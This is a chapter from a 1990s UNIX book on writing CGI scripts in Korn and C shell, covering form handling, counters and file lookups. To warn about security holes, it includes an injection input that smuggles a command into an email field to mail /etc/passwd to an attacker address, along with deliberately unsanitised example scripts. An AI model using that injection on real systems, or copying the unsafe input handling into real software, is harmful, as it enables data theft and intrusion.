UNIX Unleashed, Internet Edition
by David B. Horvath, CCP
This chapter will show you:
CGI can be written using a number of tools including shell scripts in Korn and C shell, Perl, and even compiled languages such as C or C++. There are a number of reasons to pick or avoid a particular tool. Many people frown on coding CGI scripts in shell scripting languages because of the limited programming capability those languages provide. In addition, shell scripts put a larger load on the server system because they are interpreted and must invoke other processes to perform many functions (to translate they execute the UNIX tr command for example).
The biggest disadvantage of using a shell script with CGI is that security problems occur very easily. CGI scripts run as though you signed onto the server and executed the script interactively. In fact, one of the best debugging methods is to run your CGI script while signed on the server interactively. If the script is not written to properly prevent unintended access, an outsider is executing commands from inside your account.
There are significant advantages to coding your CGI in shell scripts. First of all, they are quick to develop and relatively easy to debug. Secondly, shell scripts tend to be portable to any server that is running UNIX. Most UNIX platforms support versions of the Korn and C shells. The third reason is that most UNIX technical professionals already know how to code shell scripts. The final reason may be forced on you--the Internet Service Provider (ISP) or administrator of your server may require it.
You must code your scripts carefully to prevent input data from being executed.
The simple CGI shell script shown in Listing 18.1 has a serious security problem. It is a very simple script that does a simple task. It just mails a few lines of text to the user based on her e-mail address.
#!/bin/ksh # # Listing 18.1 - mail information to user(security problems) # read email_address mail -s "thanks for caring" $email_address << EOD Thank you very much for caring about our cause this letter is just to tell you how much we really think you are wonderful for caring. Sincerely, Jane Doe, Executive Thanker EOD exit 0
If the user types in her proper e-mail address, everything works fine. But if she decides to be difficult and enter her e-mail address as
myname@myaddress.com ; mail cracker@hiding.out < /etc/passwd
then your password file has been sent to cracker@hiding.out.
NOTE: All listings are available on the CD-ROM with names in the form lst18_nn.typ where nn is the listing number (01 through 15) and typ is the file type (htm, ksh, csh, or txt). When working with the examples, you will have to change the filenames from the CD-ROM (or change the HTML code to the lst18_nn.typ name). You may also have to change the URLs when using these with your server.
This may be an issue no matter which tool you are using to develop CGI scripts in. See Chapter 19, "Developing CGIs with Perl," for more examples and suggestions regarding security.
Normally, when you run a script interactively, you are the only one using it in your directory (even if it is a shared script). But when you have a CGI script, many people can be executing it concurrently in your directory. Instead of being able to create temporary files with dummy names (temp1, temp2, and so on), you now must make sure the names are unique. A good technique is to use the process id because that is guaranteed to be unique by the operating system.
In addition, you must be careful when writing to or updating a file. When the script is executed serially (one at a time), it is easy. When it is executed concurrently, then you have a problem. Shell scripts are not very good at file or record locking. As a result, you must create a tool (like a C program that locks a file), create files that signal that another is locked and delete them when done, or take the risk that updates might be lost.
There are a number of forms handlers that send the form contents as mail to the user instead of trying to append the users' input data to a file because of the file locking problem.
At a minimum, your script needs to send the content type back to the Web browser and should send something meaningful back (after all, that is why a CGI script is executed--to do something).
You should talk to your local administrator or ISP for more information on exactly how to code your URLs and where to place your files when using CGI scripts. The ISP I use requires CGI scripts go in the subdirectory cgi-bin under public_html. When referencing the scripts, only the cgi-bin directory is mentioned.
Listing 18.2 shows sample HTML to execute a simple shell script. The query string is hard-coded to provide an example. Listing 18.3 shows the Korn shell version of the CGI script and Listing 18.4 shows the C shell version.
<HTML> <HEAD> <TITLE> Test simple shell script</TITLE> </HEAD> <BODY> <H2 ALIGN=CENTER> Test simple shell script</H2> <p>Click below to test the simple shell scripts </P> <ul> <li><a href="/cgi-bin/simple.ksh?query=1"> Korn Shell </a> <li><a href="/cgi-bin/simple.csh?query=2"> C Shell </a> </ul> </BODY> </HTML>
#!/bin/ksh # # Listing 18.3 # echo "Content-type: text/html" echo "" echo "Korn shell version" echo "It is now 'date'" echo "The query is $QUERY_STRING" echo "You are signed onto $REMOTE_HOST" echo "Your IP Address is $REMOTE_ADDR" exit 0
#!/bin/csh # # Listing 18.4 # echo "Content-type: text/html" echo "" echo "C shell version" echo "It is now 'date'" echo "The query is $QUERY_STRING" echo "You are signed onto $REMOTE_HOST" echo "Your IP Address is $REMOTE_ADDR" exit 0
Figure 18.1 shows the initial screen from the HTML in Listing 18.2 using the Mosaic Web browser. Figure 18.2 shows the output of the Korn shell CGI script. Figure 18.3 shows the output of the C shell CGI script.
Figure 18.1.
Initial Screen--Simple CGI Script.
NOTE: You will notice that the activity indicator (the square postage-stamp sized box near the upper right corner of the browser) is black in the Mosaic examples. This is because I ran the browser locally (on my PC) instead of connected to the net. It was much faster that way and the results are the same.The activity indicator in the Netscape examples shows the AT&T "World" logo instead of the Netscape "N" logo because I use a version from the AT&T Worldnet service (the software and the service were free).
Figure 18.2.
Output Screen--Simple CGI Script--Korn Shell.
Figure 18.3.
Output Screen--Simple CGI Script--C Shell.
The URLs on the screen images do not match what was shown in the preceding HTML. This is because my ISP requires that I use a wrapper around my CGI scripts. (More about wrappers in the "CGI-BIN Wrappers" section of Chapter 17, "Introduction to CGI.")
The text generated by the shell scripts does not contain any HTML or formatting. As a result, it did not display very well and there was no title on the top of the screen. We need to add some HTML into the scripts to make more sense.
Listing 18.5 shows the addition of minimal HTML for the output to be properly interpreted by the Web browser (Korn Shell). Figure 18.4 shows the new result.
#!/bin/ksh # # Listing 18.5 # echo "Content-type: text/html" echo "" echo "<html>" echo "<head>" echo "<title>Improved Simple Sample</title>" echo "</head> <body>" echo "<h1>This is a Heading</h1>" echo "<p> <pre>" echo "Korn shell version" echo "It is now 'date'" echo "The query is $QUERY_STRING" echo "You are signed onto $REMOTE_HOST" echo "Your IP Address is $REMOTE_ADDR" echo "</pre> </body> </html>" exit 0
Figure 18.4.
Output Screen--Improved Simple CGI Script--Korn Shell.
Now that looks a lot better. There is some more information about what we are looking at (title bar and heading) and the text does not run together.
Of course, this does not do too much except show you where I logged in from, my IP address, and the current time when I did the example. There are much more useful things you can do with a CGI script including getting data from forms, incrementing counters, and doing things like database lookups.
Detailed information about forms is provided in Chapters 15, "HTML--A Brief Overview," and 17, "Introduction to CGI."
One of the more common uses for CGI scripts is processing the data received from HTML forms. The form method is coded as POST and the action is the URL for your script. The user enters data through his Web browser into the form described in HTML, and when he clicks the submit button, your script is executed.
Listing 18.6 shows HTML containing a form that will execute a shell script when the user clicks the submit button. Listing 18.7 shows the Korn shell version of the CGI script and Listing 18.8 shows the C shell version.
<html> <head> <title> Forms </title> </head> <body> <FORM METHOD="POST" action="http://www.name.com/cgi-bin/forms1.ksh"> Choose your option <SELECT NAME="Selection list" SIZE=1> <OPTION>First <OPTION SELECTED> Default <OPTION>Third </SELECT> <br> <INPUT TYPE="HIDDEN" NAME="NotSeen" SIZE=10> Enter Text Here <INPUT TYPE="TEXT" NAME="Text Input" SIZE=20 MAXLENGTH=25> Enter Your Password here <INPUT TYPE="PASSWORD" NAME="Pswd" SIZE=6 MAXLENGTH=12> <br> Pick one of the following <br> <INPUT TYPE="RADIO" NAME="Radio" VALUE="First"> First <BR> <INPUT TYPE="RADIO" NAME="Radio" VALUE="Second" CHECKED> Second <br> Pick from of the following <br> <INPUT TYPE="CHECKBOX" NAME="check" VALUE="First"> First <INPUT TYPE="CHECKBOX" NAME="check" VALUE="Second" CHECKED> Second <INPUT TYPE="CHECKBOX" NAME="check" VALUE="third" CHECKED> Third <br> Enter your comments <TEXTAREA NAME="Comments" ROWS=2 COLUMNS=60> </textarea> <p>When done, press the button below <br> <INPUT TYPE="Submit" NAME="Submit This Form"> <INPUT TYPE="Reset" NAME="Clear"> </FORM> </body> </html>
NOTE: You will have to change the line:<FORM METHOD="POST" action="http://www.name.com/cgi-bin/forms1.ksh">To match the name of your ISP and the proper format that they require. The URLs of all examples will have to be changed in a similar manner.
This listing is similar to the one shown in Listing 15.14 in Chapter 15. Note that it includes several different types of elements--hidden, text, password (which does not echo the typed characters on the screen but does send the password as plain clear text, not encrypted), radio buttons, check boxes, text area (scrollable text window), and finally the submit button itself. The ordering is entirely up to you, but the buttons generally go on the bottom.
#!/bin/ksh # # forms1.ksh # echo "Content-type: text/html" echo "" echo "<html>" echo "<head>" # # Handle error conditions or send success message to user # if [[ $CONTENT_LENGTH = 0 ]]; then echo "<title>Error Occured</title>" echo "</head> <body>" echo "<p>The form is empty, please enter some data!" echo "<br>" echo "Press the BACK key to return to the form." echo "</p> </body> </html>" exit 0 elif [[ $CONTENT_TYPE != "application/x-www-form-urlencoded" ]]; then echo "<title>Content Error Occurred</title>" echo "</head> <body>" echo "<p>Internal error - invalid content type. Please report" echo "<br>" echo "Press the BACK key to return to the form." echo "</p> </body> </html>" exit 0 fi echo "<title>Form Submitted</title>" echo "</head> <body>" echo "<h1>Your Form Has Been Submitted</h1>" echo "<p> Thank you very much for your input, it has been " echo "submitted to our people to deal with... " echo "<br>" echo "Press the BACK key to return to the form." # # Create empty temporary file. Use process-id to make unique # FNAME=temp_$$ >| $FNAME # # Read STDIN and write to the temporary file (translate & and +). # NOTE: this is dangerous and sloppy - you should translate the # encode characters and ensure there is not any bad information # read input_line echo 'date' >> $FNAME echo $input_line | tr "&+" "\n " >> $FNAME # # Send the form data via mail, clean up the temporary file # mail -s "Form data" someuser@somecompany.com < $FNAME rm $FNAME echo "</p> </body> </html>" exit 0
#!/bin/csh # # forms1.csh # echo "Content-type: text/html" echo "" echo "<html>" echo "<head>" # # Handle error conditions or send success message to user # if ( $CONTENT_LENGTH == 0 ) then echo "<title>Error Occured</title>" echo "</head> <body>" echo "<p>The form is empty, please enter some data\!" echo "<br>" echo "Press the BACK key to return to the form." echo "</p> </body> </html>" exit 0 else if ( $CONTENT_TYPE !~ "application/x-www-form-urlencoded" ) then echo "<title>Content Error Occurred</title>" echo "</head> <body>" echo "<p>Internal error - invalid content type. Please report" echo "<br>" echo "Press the BACK key to return to the form." echo "</p> </body> </html>" exit 0 endif endif echo "<title>Form Submitted</title>" echo "</head> <body>" echo "<h1>Your Form Has Been Submitted</h1>" echo "<p> Thank you very much for your input, it has been " echo "submitted to our people to deal with... " echo "<br>" echo "Press the BACK key to return to the form." # # Create empty temporary file. Use process-id to make unique # set FNAME=temp_$$ echo "" >! $FNAME # # Read STDIN and write to the temporary file (translate & and +). # NOTE: this is dangerous and sloppy - you should translate the # encode characters and ensure there is not any bad information # set input_line = $< echo 'date' >> $FNAME echo $input_line | tr "&+" "\n " >> $FNAME # # Send the form data via mail, clean up the temporary file # mail -s "Form data" someuser@somecompany.com < $FNAME rm $FNAME echo "</p> </body> </html>" exit 0
Figure 18.5 shows the filled out form (before pressing the submit button) using the Netscape Navigator Web browser. Figure 18.6 shows the output of the Korn shell CGI script (the feedback to the user). The output from the C shell CGI script should be the same.
Figure 18.5.
Completed Form.
Figure 18.6.
Output Screen--Form Response--Korn Shell.
There is one more thing to look at: the e-mail that was sent to someuser@somecompany.com. Listing 18.9 shows the e-mail message without the headings.
Mon Apr 28 20:03:50 EDT 1997 Selection list=First NotSeen= Text Input=this is a text box where Pswd=123456789 Radio=Second check=First check=third Comments=My comments went here%0D%0Awhat do you think of that%3F%0D%0A Submit This Form=Submit Query
The shell scripts translated the & characters to <newline> and + to <space> using the tr command. It did not translate the escaped characters that were transmitted as hexadecimal values. %0D is <carriage return>, %0A is <line feed>, and %3F is ? (the question mark). It would be a simple matter to translate the hexadecimal values, but be very careful as it could cause the input line to be interpreted as a command to the shell itself.
It would be a simple matter to take this file and process it using an awk, Perl, or C/C++ program. What is actually done with the file depends on the application.
You can also set up forms to perform database queries--the user types in some key information (product number, ISBN, Social Security Number, flight number, and so on) and the script looks up information based on that key. The script might fill in and display a form (providing the capability for the user to change it) or just create dynamic HTML that displays the results (inquiry or reporting only).
Although it may not be obvious from looking at HTML source code, counters are usually implemented through the use of CGI scripts. The script is executed when the Web browser attempts to load the image connected to it. The script receives any query string attached to the URL (usually a string to uniquely identify the page where the request came from) and returns the incremented counter. The most common form for the counters is as a gif or jpeg image. The image looks like an automobile odometer or a digital display. In the HTML it is referenced as:
<IMG SRC="http://www.domain.com/cgi-bin/counter.gif?unique_string">
The CGI script then must return an image in the proper format for the Web browser to process and display. This is rather difficult to do in a shell script, so the examples display a counter on its own HTML page when you click the link.
Listing 18.10 shows the HTML used to trigger the counters. Listing 18.11 shows the Korn shell version of the CGI script and Listing 18.12 shows the C shell version.
<html> <head> <title> Counters </title> </head> <body> <p>A counter is designed to keep track of something. You can trigger a counter by describing it as am image (most browsers load images) or explicitly by clicking on a link. </p> <p>You would use a link like < img src="http://www.name.com/cgi-bin/count1.ksh?up" > to update a counter. Typically, some unique string is used as the query to split things up. </p> <br> <p>You can also have a reference like this <a href="http://www.name.com/cgi-bin/count1.ksh?up"> to update a count.</a></p> <br> <p>You can also have a reference like this <a href="http://www.name.com/cgi-bin/ count1.ksh?recall"> to recall an existing count.</a></p> </body> </html>
# count1.ksh # echo "Content-type: text/html" echo "" echo "<html>" echo "<head>" # # Handle options # if [[ $QUERY_STRING = "up" ]]; then ADDER=1 elif [[ $QUERY_STRING = "down" ]]; then ADDER=-1 elif [[ $QUERY_STRING = "recall" ]]; then ADDER=0 else echo "<title> An error occurred </title>" echo "<body> <p> someone goofed with this counter query is $QUERY_STRING" echo "</p> </body> </html>" exit 0 fi echo "<title>Counter</title>" echo "</head> <body>" # # read counter file # typeset -RZ5 value_is read value_is < counter_file let value_is=value_is+ADDER echo $value_is > counter_file echo $value_is echo "</p> </body> </html>" exit 0
#!/bin/csh # # count1.csh # echo "Content-type: text/html" echo "" echo "<html>" echo "<head>" # # Handle options # if ( $QUERY_STRING =~ "up" ) then set ADDER=1 else if ( $QUERY_STRING =~ "down" ) then set ADDER=-1 else if ( $QUERY_STRING =~ "recall" ) then set ADDER=0 else echo "<title> An error occurred </title>" echo "<body> <p> someone goofed with this counter query is $QUERY_STRING" echo "</p> </body> </html>" exit 0 endif endif endif echo "<title>Counter</title>" echo "</head> <body>" # # read counter file # set value_is='cat counter_file' @ value_is = $value_is + $ADDER echo $value_is > counter_file echo $value_is echo "</p> </body> </html>" exit 0
The counter_file begins with the value 00000. It should be set up so the owner has read and write access to it, otherwise it cannot be changed.
Figure 18.7 shows the initial counter example screen using the Netscape Navigator Web browser. Figure 18.8 shows the output of the Korn shell CGI script (increment counter). Figure 18.9 shows the output for recalling the previous value (do not increment). The output from the C shell CGI script should be the same.
Figure 18.7.
Initial Counter Example Screen.
Figure 18.8.
Output Screen--Increment Counter--Korn Shell.
Figure 18.9.
Output Screen--Recall Counter--Korn Shell.
I executed the increment counter link several times before capturing the screen image images shown in Figures 18.8 and 18.9 just to demonstrate that the value would be higher than the starting point.
There is a danger to this script in the following three lines:
read value_is < counter_file let value_is=value_is+ADDER echo $value_is > counter_file
Multiple users could be executing this concurrently and there is no prevision for file locking. Multiple users might see the same count because the first one did not write out the new value before the next one read it.
This code is far from perfect and is not very complete (it does not deal with things like gif images), but it does give you an idea of what is involved.
Data and database lookups or searches is a common use for CGI scripts. This section consists of a simple example that searches through a text file for a specific record number based on the RANDOM environment variable. In a real application, the key information would not be a (pseudo-) random number, it would be something to identify the data on the desired record. The technique used could be the same--sequential searching. A better method would be using a database or at least having a program that could use indexed access to a file.
Listing 18.13 shows the HTML used to trigger the quote lookup script. Listing 18.14 shows the quote lookup script using Korn shell.
<html> <head> <title> Database access </title> </head> <body> <p>You can click <a href="http://www.name.com/cgi-bin/datab1.ksh"> here</a> to see a witty (?) saying</p> </body> </html>
#!/bin/ksh # # datab1.ksh # echo "Content-type: text/html" echo "" echo "<html>" echo "<head>" # # No options - just get a saying from another file # echo "<title>Witty Saying (database lookup)</title>" echo "</head> <body>" # # read DB (saying) file # let record_no=RANDOM%10 echo "<h2>Saying Number $record_no</h2>" rec_count=0 exec 3< saying.file while [[ rec_count -lt record_no ]] do read -u3 in_line let rec_count=rec_count+1 done echo "<p>" echo $in_line echo "</p> </body> </html>" exit 0
Listing 18.15 shows the file that contains the sayings: saying.file. There are a total of 11 lines and each quotation (or message that tells what line it is on) exists on only one line.
This is the first line. If at first you don't succeed, try cheating (Kirk did). To Err is human, to forgive devine. This is the fourth line Murphy was an optimist! sixth line Now is the time for all good men to come to the aid of their country. -- John F. Kennedy Eigth line Nineth Line Tenth line eleventh line
Figure 18.10 shows the initial saying lookup example screen using the Netscape Navigator Web browser. Figure 18.11 shows the output of the CGI script.
Figure 18.10.
Initial Saying Lookup Example Screen.
Figure 18.11.
Output Screen--Saying Lookup--Korn Shell.
I freely admit that this example is a simple version of the fortune program found in /usr/games on many UNIX systems. The idea was to show a simple example that would not take up 10 pages or more.
The processing using the method will be relatively slow because each record up to and including the one we want must be read. Multiply that by multiple users and, suddenly, the load becomes excessive.
This chapter shows examples using Korn and C shell scripts. These are the most common shell scripting languages (I am most familiar with Korn shell). You could use other UNIX shell scripting languages like Bourne, BASH (Bourne-Again shell), and others. You can see the chapters on the specific shells for more information on how to use them.
Each one has its own strengths and weaknesses, features and functionality. The trick is to learn one (or two) and stick with it.
UNIX shell scripting languages are limited. They do not support record or file locking. They do not support advanced file or data access methods (keyed access or through a database manager). They are also interpreted and must invoke a lot of other processes to get their work done. It is also fairly easy to get in the situation where your CGI script contains security holes.
Very simply, most Web programmers advise against writing your CGI scripts in UNIX shells, but I do it. The major shells are available on most systems, and it they are languages that I know well.
But there are times when the shell script is not enough to get the job done. At that point you have a number of alternatives. You can work with Perl scripts, C/C++ executable programs, or you can use the shell script to invoke other tools like C/C++ executable programs, awk scripts, or grep to further process your data.
Security, data concurrency (locking), and data access are the three biggest problem areas when working with shell scripts.
See the next two chapters for information on CGI scripts using Perl and C/C++. There are additional tools available: Server Side Includes (SSI) and API calls. These both are fairly non-portable because they are dependent on your Web server. SSI allows dynamic HTML through the use of different files that are included into a base HTML file. API calls are function calls to your server.
This chapter has shown you when and how to use shell scripts (primarily Korn and C shells) for CGI-BIN programming. It covered dynamic HTML, sending responses to users, handling forms, and retrieving data. Shell scripts are not always the proper tool to use for CGI-BIN; look at the other chapters in this section for more information about C/C++ and Perl as CGI-BIN languages.
For more information about writing shell scripts in general (for CGI-BIN or other purposes), you should look at Part II in Volume 1 (UNIX Shells). That section provides detailed information on Bourne shell, Bourne Again Shell (BASH), Korn shell, and C shell.
©Copyright,
Macmillan Computer Publishing. All rights reserved.
